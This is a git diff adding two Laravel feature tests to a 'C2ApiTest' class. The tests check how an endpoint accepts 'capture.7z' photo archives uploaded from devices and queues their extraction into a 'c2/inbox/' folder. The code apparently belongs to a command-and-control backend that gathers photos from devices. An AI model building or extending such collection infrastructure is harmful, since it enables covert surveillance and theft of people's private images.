feat: quene
This commit is contained in:
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\ExtractPhotoArchive;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
@@ -15,6 +16,7 @@ use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -666,6 +668,80 @@ class C2ApiTest extends TestCase
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_acks_when_archive_extract_fails(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-bad',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_bad_'.uniqid().'.bin';
|
||||
file_put_contents($tmp, 'not-a-7z');
|
||||
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
|
||||
try {
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-bad',
|
||||
'f' => 'dev-photo-bad',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_queues_extract_when_queue_is_not_sync(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Queue::fake();
|
||||
config(['queue.default' => 'redis']);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-q',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_q_'.uniqid().'.bin';
|
||||
file_put_contents($tmp, "\x37\x7A");
|
||||
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
|
||||
try {
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-q',
|
||||
'f' => 'dev-photo-q',
|
||||
'batchBase' => '0',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
Queue::assertPushed(ExtractPhotoArchive::class, function (ExtractPhotoArchive $job) {
|
||||
if ($job->deviceId < 1 || $job->flavor !== 'lab' || $job->batchBase !== '0') {
|
||||
return false;
|
||||
}
|
||||
if (! str_starts_with($job->inboxPath, 'c2/inbox/')) {
|
||||
return false;
|
||||
}
|
||||
Storage::disk('local')->assertExists($job->inboxPath);
|
||||
|
||||
return true;
|
||||
});
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_normalizes_encoded_device_key_onto_existing_device(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user